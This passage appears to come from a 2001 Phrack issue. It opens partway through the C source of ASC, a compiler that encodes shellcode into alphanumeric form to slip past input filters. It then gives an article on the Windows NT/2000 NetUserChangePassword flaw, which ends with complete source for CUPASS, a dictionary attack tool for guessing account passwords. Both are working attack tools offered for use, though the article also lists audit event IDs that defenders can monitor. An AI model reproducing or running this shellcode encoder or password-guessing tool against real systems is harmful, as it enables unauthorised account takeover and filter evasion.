if (output==NULL) return -1;
i=input->size-1;
while (i>=0) { /* loop from the right to the left of our original shellcode */
category=alphanumeric_stack_get_category(input->opcodes[i]);
size=1; /* by default, we have 1 byte of the same category */
/* loop until maximum 3 previous bytes are from the same category */
while ((i-size>=0)&&(size<4)&&(alphanumeric_stack_get_category(input->opcodes[i-size])==category)) size++;
/* write those bytes on the stack */
alphanumeric_stack_generate_push(output,category,&input->opcodes[i-size+1],size);
i-=size;
}
return 0;
}
/* +------------------------------------------------------------------------+ */
/* | PATCHES MANIPULATIONS FUNCTIONS | */
/* +------------------------------------------------------------------------+ */
/* return the category of the byte */
/* =============================== */
int alphanumeric_patches_get_category(unsigned char c) {
if (alphanumeric_check(c)) return CATEGORY_ALPHA;
else if (c<0x80) return CATEGORY_XOR;
else { /* need a NOT */
c=NOT(c);
if (alphanumeric_check(c)) return CATEGORY_ALPHA_NOT;
else return CATEGORY_XOR_NOT;
}
}
/* generate the patches initialization shellcode */
/* ============================================ */
int alphanumeric_patches_generate_initialization(struct Sshellcode *shellcode,
int patcher_size,int alpha_begin,int base,unsigned char disp8) {
struct Sshellcode *s;
int offset; /* real offset for original shellcode to patch */
struct Sshellcode *p_offset; /* offset "shellcode" */
int fill_size; /* size to add to the initialization shellcode to align */
int initialization_size,i;
if (shellcode==NULL) return -1;
initialization_size=0;
while(1) { /* loop until we create a valid initialization shellcode */
s=shellcode_malloc();
fill_size=0;
PUSHr(s,alphanumeric_get_register(M_REGISTERS)); /* push r32 =>EAX */
PUSHr(s,alphanumeric_get_register(M_REGISTERS)); /* push r32 =>ECX */
PUSHr(s,alphanumeric_get_register(M_EDX|M_EBX|M_ESI|M_EDI)); /* push FFFFFFFF =>EDX */
if (base==EBX) {
PUSHr(s,EBP); /* push ebp =>EBX */
}
else {
PUSHr(s,alphanumeric_get_register(M_REGISTERS)); /* push r32 =>EBX */
}
PUSHr(s,alphanumeric_get_register(M_REGISTERS)); /* push r32 =>ESP */
offset=shellcode->size+initialization_size+patcher_size+alpha_begin-disp8; /* calculate the real offset */
/* if the offset is not correct we must modify the size of our initialization shellcode */
if (offset<0) { /* align to have a positive offset */
fill_size=-offset;
offset=0;
}
if (offset&1) { /* align for the 2*ebp */
fill_size++;
offset++;
}
offset/=2;
p_offset=shellcode_malloc();
DB(p_offset,BYTE(offset,0));
DB(p_offset,BYTE(offset,1));
DB(p_offset,BYTE(offset,2));
DB(p_offset,BYTE(offset,3));
alphanumeric_stack_generate(s,p_offset); /* push offset => EBP */
shellcode_free(p_offset);
PUSHr(s,alphanumeric_get_register(M_EDX|M_EBX|M_ESI|M_EDI)); /* push FFFFFFFF =>ESI */
if (base==EDI) {
PUSHr(s,EBP); /* push ebp =>EDI */
}
else {
PUSHr(s,alphanumeric_get_register(M_REGISTERS)); /* push r32 =>EDI */
}
POPAD(s); /* popad */
if (s->size<=initialization_size) break; /* if the offset is good */
initialization_size++;
}
/* the offset is good */
/* fill to reach the initialization_size value */
while (s->size<initialization_size) INCr(s,ECX);
/* fill to reach the offset value */
for (i=0;i<fill_size;i++) INCr(s,ECX);
shellcode_cat(shellcode,s);
shellcode_free(s);
return 0;
}
/* generate the xor patch */
/* ====================== */
#define PB1 bytes[0]
#define PB2 bytes[1]
#define PB3 bytes[2]
#define PB4 bytes[3]
int alphanumeric_patches_generate_xor(struct Sshellcode *s,int category,
unsigned char *bytes,int size,int base,char disp8) {
unsigned char xPB1,xPB2,xPB3,xPB4;
int reg,i;
if (s==NULL) return -1;
/* eventually realize a NOT on bytes[] */
if ((category==CATEGORY_ALPHA_NOT)||(category==CATEGORY_XOR_NOT)) {
for (i=0;i<size;i++) bytes[i]=NOT(bytes[i]);
}
/* generate the bytes in the original shellcode */
switch(category) {
case CATEGORY_ALPHA:
case CATEGORY_ALPHA_NOT:
/* nothing to do */
break;
case CATEGORY_XOR:
case CATEGORY_XOR_NOT:
reg=alphanumeric_get_register(M_EAX|M_ECX);
switch(size) {
case 1:
xPB1=alphanumeric_get_complement(PB1);
PUSHb(s,XOR(PB1,xPB1)); /* push ~xPB1 */
POPr(s,reg); /* pop reg */
PB1=xPB1; /* modify into the original shellcode */
XORsib8(s,base,EBP,disp8,reg); /* xor [base+2*ebp+disp8],reg => xor xPB1,~xPB1 */
break;
case 2:
xPB1=alphanumeric_get_complement(PB1);
xPB2=alphanumeric_get_complement(PB2);
PUSHw(s,WORD(XOR(PB2,xPB2),XOR(PB1,xPB1))); /* push ~xPB2 ~xPB1 */
O16(s);POPr(s,reg); /* pop reg */
PB1=xPB1; /* modify into the original shellcode */
PB2=xPB2;
O16(s);XORsib32(s,base,EBP,disp8,reg); /* xor [base+2*ebp+disp8],reg => xor xPB2 xPB1,~xPB2 ~xPB1 */
break;
case 4:
xPB1=alphanumeric_get_complement(PB1);
xPB2=alphanumeric_get_complement(PB2);
xPB3=alphanumeric_get_complement(PB3);
xPB4=alphanumeric_get_complement(PB4);
PUSHd(s,DWORD(XOR(PB4,xPB4),XOR(PB3,xPB3),XOR(PB2,xPB2),XOR(PB1,xPB1))); /* push ~xPB4 ~xPB3 ~xPB2 ~xPB1 */
POPr(s,reg); /* pop reg */
PB1=xPB1; /* modify into the original shellcode */
PB2=xPB2;
PB3=xPB3;
PB4=xPB4;
XORsib32(s,base,EBP,disp8,reg); /* xor [base+2*ebp+disp8],reg => xor xPB4 xPB3 xPB2 xPB1,~xPB4 ~xPB3 ~xPB2 ~xPB1 */
break;
}
break;
}
/* eventually realize a NOT on the shellcode */
if ((category==CATEGORY_ALPHA_NOT)||(category==CATEGORY_XOR_NOT)) {
reg=alphanumeric_get_register(M_EDX|M_ESI);
switch(size) {
case 1:
XORsib8(s,base,EBP,disp8,reg); /* xor [base+2*ebp+disp8],dl/dh */
break;
case 2:
O16(s);XORsib32(s,base,EBP,disp8,reg); /* xor [base+2*ebp+disp8],dx/si */
break;
case 4:
XORsib32(s,base,EBP,disp8,reg); /* xor [base+2*ebp+disp8],edx/esi */
break;
}
}
return 0;
}
/* generate the patch and the original shellcode */
/* ============================================= */
int alphanumeric_patches_generate(struct Sshellcode *output,struct Sshellcode *input) {
struct Sshellcode *out,*in; /* input and output codes */
struct Sshellcode *best; /* last best shellcode */
struct Sshellcode *patcher; /* patches code */
int alpha_begin,alpha_end; /* offsets of the patchable part */
int base; /* base register */
unsigned char *disp8_begin; /* pointer to the current first disp8 */
unsigned char disp8;
int category,size,i,j;
if (input==NULL) return -1;
if (output==NULL) return -1;
/* get the offset of the first and last non alphanumeric bytes */
for (alpha_begin=0;alpha_begin<input->size;alpha_begin++) {
if (!alphanumeric_check(input->opcodes[alpha_begin])) break;
}
if (alpha_begin>=input->size) { /* if patching is not needed */
shellcode_cat(output,input);
return 0;
}
for (alpha_end=input->size-1;alpha_end>alpha_begin;alpha_end--) {
if (!alphanumeric_check(input->opcodes[alpha_end])) break;
}
base=alphanumeric_get_register(M_EBX|M_EDI);
best=shellcode_malloc();
disp8_begin=ALPHANUMERIC_BYTES;
while (*disp8_begin!=0) { /* loop for all possible disp8 values */
disp8=*disp8_begin;
/* allocate all shellcodes */
out=shellcode_malloc();
shellcode_cpy(out,output);
in=shellcode_malloc();
shellcode_cpy(in,input);
patcher=shellcode_malloc();
i=alpha_begin;
size=0;
while (i<=alpha_end) { /* loop into our original shellcode */
/* increment the offset if needed */
for (j=0;j<size;j++) {
if (alphanumeric_check(disp8+1)) {
disp8++;
}
else INCr(patcher,base); /* inc base */
}
category=alphanumeric_patches_get_category(in->opcodes[i]);
size=1; /* by default, we have 1 byte of the same category */
/* loop until maximum 3 next bytes are from the same category */
while ((i+size<=alpha_end)&&(size<4)&&(alphanumeric_patches_get_category(in->opcodes[i+size])==category)) size++;
if (size==3) size=2; /* impossible to XOR 3 bytes */
/* patch those bytes */
alphanumeric_patches_generate_xor(patcher,category,&in->opcodes[i],size,base,disp8);
i+=size;
}
alphanumeric_patches_generate_initialization(out,patcher->size,alpha_begin,
base,*disp8_begin); /* create a valid initialization shellcode */
shellcode_cat(out,patcher);
shellcode_cat(out,in);
if ((best->size==0)||(out->size<best->size)) shellcode_cpy(best,out);
/* if this is a more interesting shellcode, we save it */
/* free all shellcodes and malloc */
shellcode_free(out);
shellcode_free(in);
shellcode_free(patcher);
disp8_begin++;
}
shellcode_cpy(output,best);
shellcode_free(best);
return 0;
}
/******************************************************************************/
/* +------------------------------------------------------------------------+ */
/* | INTERFACE FUNCTIONS | */
/* +------------------------------------------------------------------------+ */
void print_syntax() {
fprintf(stderr,"ASC - IA32 Alphanumeric Shellcode Compiler\n");
fprintf(stderr,"==========================================\n");
fprintf(stderr,"SYNTAX : asc [options] <input file[.c]>\n");
fprintf(stderr,"COMPILATION OPTIONS :\n");
fprintf(stderr," -a[ddress] stack|<r32> : address of shellcode (default=stack)\n");
fprintf(stderr," -m[ode] stack|patches : output shellcode build mode (default=patches)\n");
fprintf(stderr," -s[tack] call|jmp|null|ret : method to return to original code on the stack\n");
fprintf(stderr," (default=null)\n");
fprintf(stderr,"DEBUGGING OPTIONS :\n");
fprintf(stderr," -debug-start : breakpoint to start of compiled shellcode\n");
fprintf(stderr," -debug-build-original : breakpoint to building of original shellcode\n");
fprintf(stderr," -debug-build-jump : breakpoint to building of stack jump code\n");
fprintf(stderr," -debug-jump : breakpoint to stack jump\n");
fprintf(stderr," -debug-original : breakpoint to start of original shellcode\n");
fprintf(stderr,"INPUT/OUTPUT OPTIONS :\n");
fprintf(stderr," -c[har] <char[] name> : name of C input array (default=first array)\n");
fprintf(stderr," -f[ormat] bin|c : output file format (default=bin)\n");
fprintf(stderr," -o[utput] <output file> : output file name (default=stdout)\n");
fprintf(stderr,"\n");
fprintf(stderr,"ASC 0.9.1 rix@hert.org @2001\n");
exit(1);
}
void print_error() {
perror("Error ASC");
exit(1);
};
/* +------------------------------------------------------------------------+ */
/* | MAIN PROGRAM | */
/* +------------------------------------------------------------------------+ */
#define STACK REGISTERS+1
#define INPUT_FORMAT_BIN 0
#define INPUT_FORMAT_C 1
#define OUTPUT_FORMAT_BIN 0
#define OUTPUT_FORMAT_C 1
#define OUTPUT_MODE_STACK 0
#define OUTPUT_MODE_PATCHES 1
#define STACK_MODE_CALL 0
#define STACK_MODE_JMP 1
#define STACK_MODE_NULL 2
#define STACK_MODE_RET 3
int main(int argc, char **argv) {
char *input_filename=NULL,*output_filename=NULL;
struct Sshellcode *input=NULL,*output=NULL,*stack=NULL;
char input_format=INPUT_FORMAT_BIN;
char *input_variable=NULL;
char address=STACK;
char output_format=OUTPUT_FORMAT_BIN;
char output_mode=OUTPUT_MODE_PATCHES;
char stack_mode=STACK_MODE_NULL;
int debug_start=0;
int debug_build_original=0;
int debug_build_jump=0;
int debug_jump=0;
int debug_original=0;
int ret,l;
/* command line parameters definition */
#define SHORT_OPTIONS "a:c:f:m:o:s:"
struct option long_options[]={
/* {"name",has_arg,&variable,value} */
{"address",1,NULL,'a'},
{"mode",1,NULL,'m'},
{"stack",1,NULL,'s'},
{"debug-start",0,&debug_start,1},
{"debug-build-original",0,&debug_build_original,1},
{"debug-build-jump",0,&debug_build_jump,1},
{"debug-jump",0,&debug_jump,1},
{"debug-original",0,&debug_original,1},
{"char",1,NULL,'c'},
{"format",1,NULL,'f'},
{"output",1,NULL,'o'},
{0,0,0,0}
};
int c;
int option_index=0;
/* read command line parameters */
opterr=0;
while ((c=getopt_long_only(argc,argv,SHORT_OPTIONS,long_options,&option_index))!=-1) {
switch (c) {
case 'a':
if (!strcmp(optarg,"eax")) address=EAX;
else if (!strcmp(optarg,"ebx")) address=EBX;
else if (!strcmp(optarg,"ecx")) address=ECX;
else if (!strcmp(optarg,"edx")) address=EDX;
else if (!strcmp(optarg,"esp")) address=ESP;
else if (!strcmp(optarg,"ebp")) address=EBP;
else if (!strcmp(optarg,"esi")) address=ESI;
else if (!strcmp(optarg,"edi")) address=EDI;
else if (!strcmp(optarg,"stack")) address=STACK;
else print_syntax();
break;
case 'c':
input_format=INPUT_FORMAT_C;
input_variable=optarg;
break;
case 'f':
if (!strcmp(optarg,"bin")) output_format=OUTPUT_FORMAT_BIN;
else if (!strcmp(optarg,"c")) output_format=OUTPUT_FORMAT_C;
else print_syntax();
break;
case 'm':
if (!strcmp(optarg,"stack")) output_mode=OUTPUT_MODE_STACK;
else if (!strcmp(optarg,"patches")) output_mode=OUTPUT_MODE_PATCHES;
else print_syntax();
break;
case 'o':
output_filename=optarg;
break;
case 's':
output_mode=OUTPUT_MODE_STACK;
if (!strcmp(optarg,"call")) stack_mode=STACK_MODE_CALL;
else if (!strcmp(optarg,"jmp")) stack_mode=STACK_MODE_JMP;
else if (!strcmp(optarg,"null")) stack_mode=STACK_MODE_NULL;
else if (!strcmp(optarg,"ret")) stack_mode=STACK_MODE_RET;
else print_syntax();
break;
case 0: /* long option set variable */
break;
case '?': /* error option character */
case ':': /* error option parameter */
default:
print_syntax();
}
}
if (optind+1!=argc) print_syntax(); /* if no input file specified */
input_filename=argv[optind];
/* detect the input file format */
l=strlen(input_filename);
if ((l>2)&&(input_filename[l-2]=='.')&&(input_filename[l-1]=='c')) input_format=INPUT_FORMAT_C;
random_initialize();
input=shellcode_malloc();
output=shellcode_malloc();
/* read input file */
if (debug_original) INT3(input);
fprintf(stderr,"Reading %s ... ",input_filename);
switch(input_format) {
case INPUT_FORMAT_BIN:
ret=shellcode_read_binary(input,input_filename);
break;
case INPUT_FORMAT_C:
ret=shellcode_read_C(input,input_filename,input_variable);
break;
}
if (ret==-1) {
fprintf(stderr,"\n");
print_error();
}
if (!debug_original) fprintf(stderr,"(%d bytes)\n",input->size);
else fprintf(stderr,"(%d bytes)\n",input->size-1);
if (debug_start) INT3(output);
/* obtain the shellcode address */
if (address==STACK) address=alphanumeric_get_address_stack(output);
alphanumeric_initialize_registers(output,address);
/* generate the original shellcode */
if (debug_build_original) INT3(output);
switch(output_mode) {
case OUTPUT_MODE_STACK:
alphanumeric_stack_generate(output,input);
if (stack_mode!=STACK_MODE_NULL) { /* if jump building needed */
stack=shellcode_malloc();
if (debug_jump) INT3(stack);
switch(stack_mode) {
case STACK_MODE_CALL:
CALL_ESP(stack); /* call esp */
break;
case STACK_MODE_JMP:
JMP_ESP(stack); /* jmp esp */
break;
case STACK_MODE_RET:
PUSHr(stack,ESP); /* push esp */
RET(stack); /* ret */
break;
}
if (debug_build_jump) INT3(output);
alphanumeric_patches_generate(output,stack);
shellcode_free(stack);
}
else { /* no jump building needed */
if (debug_jump) INT3(output);
}
break;
case OUTPUT_MODE_PATCHES:
alphanumeric_patches_generate(output,input);
break;
}
/* print shellcode to the screen */
fprintf(stderr,"Shellcode (%d bytes):\n",output->size);
shellcode_print(output);
fclose(stdout);
fprintf(stderr,"\n");
/* write input file */
if (output_filename) {
fprintf(stderr,"Writing %s ...\n",output_filename);
switch(output_format) {
case OUTPUT_FORMAT_BIN:
ret=shellcode_write_binary(output,output_filename);
break;
case OUTPUT_FORMAT_C:
ret=shellcode_write_C(output,output_filename);
break;
}
if (ret==-1) {
shellcode_free(input);
shellcode_free(output);
print_error();
}
}
shellcode_free(input);
shellcode_free(output);
fprintf(stderr,"Done.\n");
}
/******************************************************************************/
<-->
|EOF|--------------------------------------------------------------------|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x39, Phile #0x10 of 0x12
|=---------=[ CUPASS AND THE NETUSERCHANGEPASSWORD PROBLEM ]=------------=|
|=-----------------------------------------------------------------------=|
|=-------=[ Doc Holiday / THC <holiday@TheHackersChoice.com> ]=----------=|
----| INTRODUCTION
Microsoft has a known problem in Windows NT 4, that enables an attacker
to change the password of any user under special/default circumstances.
The same problem reappeared in Windows 2000 some days ago. The flaw exists
in Microsofts implementation of the NetUserChangePassword function.
These facts inspired me to write this article and CUPASS, a simple tool
that starts a dictionary attack against user accounts.
In this article I want to discuss all things worth knowing about the
NetUserChangePassword problem.
Have fun while reading this article...
Doc Holiday /THC
----| THE PASSWORD CHANGE PROTOCOLS
As a little background I will tell you something about the possibilites
to change a password in a Windows NT/W2K environment.
Windows 2000 supports several protocols for changing passwords which
are used under different circumstances.
These protocols are
- NetUserChangePassword protocol (we will call it NUCP)
- NetUserSetInfo protocol
- Kerberos change-password protocol
- Kerberos set-password protocol
- LDAP write-password attribute (presumes 128Bit SSL)
- XACT-SMB protocol (for LAN Manager compatibility)
Because there is a flaw in Microsofts implementation of the NUCP protocol,
we will have a deeper look at this one.
----| PROTOCOL ELECTION
We can see that there are a lot of protocols for changing passwords in an
Microsoft environment. Now I will show in which cases the NUCP is used:
case 1
------
If a user changes his password by pressing CTRL+ALT+DELETE and pressing the
"Change Password" button, the NUCP protocol is used, if the target is a
domain or the local member server or workstation.
If the target is a Kerberos realm, the Kerberos change-password protocol is
used instead of NUCP.
case 2
------
If a change password request is initiated from an Windows NT 3.x or NT 4
machine, the NUCP and/or NetUserSetInfo protocols are used.
case 3
------
If a program uses the NUCP method on the Active Directory Services
Interface (ADSI), the IaDSUser interface first tries to change the
password with the LDAP protocol, and then by using the NUCP method.
----| NUCP FUNCTION CALL
At this time we know that a lot of ways exist to change a users
password. We also know in which cases NUCP is used.
Now we want to have a little look at the function NetUserChangePassword
itself. (More detailed information can be found at Microsoft's SDK!)
Prototype
---------
The prototype of the NetUserChangePassword function is defined in
"lmaccess.h", and looks as follows:
NET_API_STATUS NET_API_FUNCTION
NetUserChangePassword (
IN LPCWSTR domainname OPTIONAL,
IN LPCWSTR username OPTIONAL,
IN LPCWSTR oldpassword,
IN LPCWSTR newpassword
);
The parameters are explained consecutively:
Parameters
----------
->domainname
----------
Pointer to a null-terminated Unicode string that specifies the name of a
remote server or domain.
->username
--------
Pointer to a null-terminated Unicode string that specifies a user name.
->oldpassword
-----------
Pointer to a null-terminated Unicode string that specifies the user's
old password on the server or domain.
->newpassword
-----------
Pointer to a null-terminated Unicode string that specifies the user's new
password on the server or domain.
Return values
-------------
The return values are defined in "LMERR.H" and "WINERROR.H".
With a deeper look in this files we can see that if the function was executed
with success, the return value is 0 (zero) btw. NERR_Success.
The most important error values are:
->ERROR_ACCESS_DENIED (WINERROR.H)
--------------------------------
Access is denied ;)
If the target is a NT Server/Domain Controller, and the
option "User Must Log On in Order to Change Password" is enabled,
this error code is the result of CUPASS. The password could
not be guessed :(
If the target is a W2K domain controller with AD installed,
and the EVERYONE group is removed from the group
"Pre-Windows 2000 compatible access", than this error code
is an result of NUCP.
In some cases this means the right password was guessed by
CUPASS, but could not be changed because of insufficient
permissions on the corresponding AD object.
->ERROR_INVALID_PASSWORD (WINERROR.H)
-----------------------------------
The guessed password (oldpassword) was invalid
->ERROR_ACCOUNT_LOCKED_OUT (WINERROR.H)
-------------------------------------
The account is locked due to many logon tries.
->ERROR_CANT_ACCESS_DOMAIN_INFO (WINERROR.H)
------------------------------------------
Indicates a Windows NT Server could not be contacted or that
objects within the domain are protected such that necessary
information could not be retrieved.
->NERR_UserNotFound (LMERR.H)
---------------------------
The useraccount could not be found on the given server.
->NERR_NotPrimary (LMERR.H)
-------------------------
The operation is only allowed on the PDC. This appears e.g. if
you try to change passwords on a BDC.
This return values are evaluated by CUPASS. For all others, the numeric
value will be shown, and you can simply have a look at this files for
the meaning of the errorcode.
MORE DETAILS ON NUCP API CALL
-----------------------------
The NUCP function is only available on Windows NT and Windows 2000
platforms.
As part of the LanMan-API the NUCP function is UNICODE only!!!
This makes the programming a little bit harder, but not impossible :)
UNICODE on Windows is an topic for itself, and we dont want to talk more
about it here. Have a look at Microsofts msdn webpage or Charles
Petzolds book about Windows programming, if you are interested in this
topic.
For a successfull usage of NUCP, you have to link your program with the
"Netapi32.lib" library!
----| REQUIRED PERMISSIONS FOR NUCP
NUCP is part of the Microsoft network management functions.
The management functions consists of different groups like
NetFileFunctions, ScheduleFunctions, ServerFunctions, UserFunctions etc.
These functions are again splitted in Query Functions and Update Functions.
Whilst query functions just allow to query informations, the update
functions allow changes on objects.
An example for a query function is e.g the NetUserEnum function which
provides information about all user accounts on a server.
An example for an update function is the NetUserChangePassword function
which changes the password of a user account :)
Its easy to imagine, that query functions need less permissions than update
functions for beeing executed.
Lets have a look what permissions are needet:
WINDOWS NT
----------
The query functions like NetGroupEnum, NetUserEnum etc. and can be
executed by all authenticated users.
This includes Anonymous users, if the RestrictAnonymous policy setting
allows anonymous access.
On a Windows NT member server, workstation or PDC, the
NetUserChangePassword function can only be (successfull) executed by
Administrators, Account Operators or the user of the account, if the option
'User Must Log On in Order to Change Password' for this user is enabled.
If 'User Must Log On in Order to Change Password' is not enabled, a user can
change the password of any other user, as long he knows the actual password.
WINDOWS 2000
------------
The query functions like NetGroupEnum, NetUserEnum etc. can be executed by
all authenticated users. This includes Anonymous users, if the
RestrictAnonymous policy setting allows anonymous access.
On a W2K member server or workstation the NetUserChangePassword function
should only be (successfully) executable by Administrators, Account
Operators or the user of the account.
That this isn't the case, can be shown with CUPASS, because here is the
flaw that Microsoft made with his implementation of NetUserChangePassword.
On W2K member servers and workstations, the NetUserChangePassword function
can be successfully executed by any user who knows the current password of
the attacked user account.
( For your information:
The option 'User Must Log On in Order to Change Password' has been removed
>from W2K! )
On a W2K domain controller with Active Directory, access to an object is
granted based on the ACL of the object (Because W2K with installed AD
stores the user passwords in the AD in contrast to NT 3.x/4).
Network management query functions are permitted to all authenticated
users and the members of the group "Pre-Windows 2000 compatible access"
by the default ACL's.
Theoretical Network Management Update functions like NUCP are only
permitted to Administrators and Account Operators.
That this is not the case, can also be shown with CUPASS.
CUPASS works fine if AD is installed on the target system.
If the "everyone" group is removed from the
"Pre-Windows 2000 compatible access" group, the result of CUPASS will
be Errorcode 5, which means ACCESS_DENIED!.
My research shows that anyhow the password is guessed by CUPASS, but
can not be changed because of insufficient permissions on the AD object!
----| ANONYMOUS CONNECT
There is something I didn't talk about much, the Anonymous User Problem,
also known as the NULL-User problem.
Lets have a short look at how the Anonymous security settings will take affect
to the NUCP problem:
-> W2K
---
The value Data of the following registry value regulates the behaviour
of the operating system regarding to the NULL USER CONNECT.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA
Value: RestrictAnonymous
Value Type: REG_DWORD
If RestrictAnonymous is set to 0 (zero), which is the default setting,
CUPASS will work properly.
If RestrictAnonymous is set to 1, what means the enumeration of SAM
accounts and names is not allowed, CUPASS will work properly.
If RestrictAnonymous is set to 2, what means no access without explicit
anonymous permissions, there is no possibility to change the password
with NUCP :(
Because the value 2 has comprehensive consequences to the behaviour of
the windows environment (e.g. Browser service will not work properly,
netlogon secure channels could not be established properly by member
workstations etc..) it is rare used.
These settings are the same on W2K member server and W2K DC with AD!
-> NT4
---
The value Data of the following registry value regulates the behaviour
of the operating system regarding to the NULL USER CONNECT.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA
Value: RestrictAnonymous
Value Type: REG_DWORD
Converse to W2K there are only two valid values 0 (zero) and 1 for
RestrictAnonymous.
If RestrictAnonymous is set to 0 (zero), which is the default setting,
CUPASS will work properly.
If RestrictAnonymous is set to 1, what means the enumeration of SAM
accounts and names is not allowed, CUPASS will work properly.
COMMON
------
The process that calls the NetUserChangePassword function in some cases
must have the SE_CHANGE_NOTIFY_NAME privilege
(except for system account and members of the local Administrator group).
Per default this privilege is enabled for every account, but can be
disabled by the administrator.
SE_CHANGE_NOTIFY_NAME could not be found at the privileges,
because it is called "Bypass traverse checking"!
This is an declarative from Microsoft. I tried it, but I didn't find a case
in that this right was necessary to execute the NUCP function call.
----| POLICY AND LOGGING
I will have a look for the policy settings, that will take affect to the
NUCP problem.
ACCOUNT POLICIES
----------------
->PASSWORD POLICY
---------------
The settings "Enforce password history" and "Minimum password age"
will take effect to the result of CUPASS, in the way that CUPASS can't
"realy" change the password, and the error code 2245 will result.
But this doesn't matter, because we know the "old" password at this time,
and CUPASS just tried to replace the "old" password with the "old"
password again.
->ACCOUNT LOGOUT POLICY
---------------------
Account lockout treshold
------------------------
The settings "Account lockout duration" and
"Reset Account lockout after ..." are only relevant if the
"Account lockout treshold" ist set to any value >0.
If the treshold is set, than this takes affect to the work of CUPASS,
because all attempts of CUPASS exceeding the treshold will lead to an
account lockout :(
However the Logout Policy ist not valid for the Administrator on NT4
environments, until the NT Reskit tool "Passprop" is used!
In this case even the Administator account will be locked
for network logons!
If we start CUPASS against any account of a W2K server or a W2K domain
controller with AD, this account is locked out, and even the
Administrator account is marked as "Account is locked out", too !
But it is still possible for the Administrator account to log on
interactive on the machine!
AUDIT POLICY
------------
Lets have a look which auditing events have to enabled, to see an
CUPASS attack in the security logs of the target machine.
Audit Account Management
------------------------
If the setting "Audit Account Management" is enabled (success/failure),
an entry with the ID 627 appears in in the security log.
This entry contains all necessary datas for the administrator :(
These e.g. are: Date, Time, Target Account Name, Caller User Name etc.
Audit account logon events
--------------------------
Surprisingly for some administrators, there appears no log entry if
the settings "Audit account logon events" or "Audit logon events"
are enabled, if the attack goes to the local machine.
This is e.g. the case if you want to guess the local administrator
password of your machine.
If the CUPASS attack comes from remote, log entries ID 681 and ID 529
occures.
Audit Object Access
-------------------
If this type of auditing is enabled, and the attack goes to the
local machine, an logfile entry with the ID 560 and 562 appears.
ID 560 tells us that someone opened the object
"Security Account Manager" whilst 562 tells us something like
"Handle closed"...
Maybe there occure some more logfile entries with other ID's, but these
ones listed above are the ones I found while testing CUPASS.
So test CUPASS on your own environment and have a look into your logfiles!
----| LAST WORDS
I hope this article could give you a little overview about the
NetUserChangePassword problem, and Microsoft's inconsequent implementation
of security and function calls.
This article could not treat this topic concluding, because there are
so many different situations and configurations that I could not test
in my short sparetime :)
----| GREETS
Greets to Van Hauser who inspired me for this release, ganymed, mindmaniac
and all the other members from THC, VAX who gives me a lift to HAL2001,
the guys from TESO, Seth, Rookie and all the other people knowing me...
The biggest THANX are going to my wife, who missed me nearly the whole
weekend while I was writing this article!
Ok, have a nice day and lets meet and party at HAL2001 :)
<++> cupass.cpp !a10c7302
/*
* CUPASS v1.0 (c) 2001 by Doc Holiday / THC <Holiday@TheHackersChoice.com>
* http://www.hackerschoice.com
*
* Dictionary Attack against Windows Passwords with NetUserChangePassword.
* Do only use for legal purposes.
*
* Compiled and tested on Windows NT/W2K - runs not on Win9x!!
* Compiled with VC++ 6.0
*
*/
#define UNICODE 1
#define _UNICODE 1
#include <windows.h>
#include <lmaccess.h>
#include <stdio.h>
#include <wchar.h>
#pragma comment( lib, "netapi32.lib" )
void wmain( int argc, wchar_t *argv[] )
{
wchar_t *hostname = 0;
wchar_t *username = 0;
wchar_t *dictfile = 0;
wchar_t myChar[256];
NET_API_STATUS result;
FILE *stream;
LPWSTR oldpassword;
if (argc != 4)
{
wprintf (L"\nMissing or wrong parameters!\n");
wprintf (
L"\nUsage: cupass \\\\hostname username dictionaryfile\n");
exit(1);
}
hostname = argv[1];
username = argv[2];
dictfile = argv[3];
if (wcsncmp(hostname, L"\\\\",2 )!=0)
{
wprintf (L"\nups... you forgot the double backslash?");
wprintf (
L"\nUsage: cupass \\\\hostname username dictionaryfile\n");
exit(1);
}
if( (stream = _wfopen( dictfile, L"r" )) == NULL )
{
wprintf( L"\nups... dictionary %s could not be opened", dictfile );
wprintf (L"\nUsage: cupass \\\\hostname username dictionaryfile\n");
}
else
{
wprintf (L"\n*** CUPASS 1.0 - Change User PASSword - by Doc Holiday/THC (c) 2001 ***\n");
wprintf (L"\nStarting attack .....\n");
wprintf (L"\nTarget: %s ", hostname);
wprintf (L"\nUser: %s\n ", username);
while( !feof( stream ) )
{
fgetws (myChar, 256,stream);
if (myChar[wcslen(myChar)-1] == '\r') myChar[wcslen(myChar)-1] = '\0';
if (myChar[wcslen(myChar)-1] == '\n') myChar[wcslen(myChar)-1] = '\0';
oldpassword = myChar;
wprintf( L"\nTrying password %s \n", oldpassword );
result = NetUserChangePassword( hostname, username,oldpassword, oldpassword );
switch (result)
{
case 0:
wprintf( L"GOTCHA!! Password was changed\n" );
wprintf( L"\nPassword from user '%s' is '%s'\n", username, oldpassword);
fclose (stream);
exit (1);
break;
case 5: //ERROR_ACCESS_DENIED
wprintf (L"Attempt failed -> ERROR_ACCESS_DENIED - \
But password could be %s\n", oldpassword);
fclose (stream);
exit(1);
break;
case 86: //ERROR_INVALID_PASSWORD
wprintf( L"Attempt failed -> Incorrect password\n" );
break;
case 1351: //ERROR_CANT_ACCESS_DOMAIN_INFO
wprintf (L"Attempt failed -> Can't establish connection to Host %s\n",hostname);
fclose (stream);
exit(1);
break;
case 1909: //ERROR_ACCOUNT_LOCKED_OUT
wprintf (L"Attempt failed -> Account locked out\n");
fclose (stream);
exit(1);
break;
case 2221: //NERR_UserNotFound)
wprintf (L"Attempt failed -> User %s not found\n", username);
fclose (stream);
exit(1);
break;
case 2226://NERR_NotPrimary
wprintf (L"Attempt failed -> Operation only allowed on PDC\n");
break;
case 2245:
wprintf (L"GOTCHA!! Password is '%s' , but \
couldn't be changed to '%s' due to password policy settings!\n", \
oldpassword, oldpassword);
fclose(stream);
exit(1);
break;
default:
wprintf( L"\nAttempt failed :( %lu\n", result );
fclose(stream);
exit(1);
break;
}
}
fclose (stream);
}
}
<--> end cupass.cpp
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x39, Phile #0x11 of 0x12
Each phrack release has a special section called 'Phrack World News (PWN)'.
The section is a combination of sum-up's, happenings and rumours.
PWN are the news about and from the scene.
You can send PWN directly to disorder@phrack.org or you can announce
your own PWN at http://www.phrack.org/disorder.
|=------------------=[ ScRiPt KiDdY MaNuAl To HaL2001 ]=-----------------=|
|=-----------------------------------------------------------------------=|
|=---------------------------=[ HAL Staff ]=-----------------------------=|
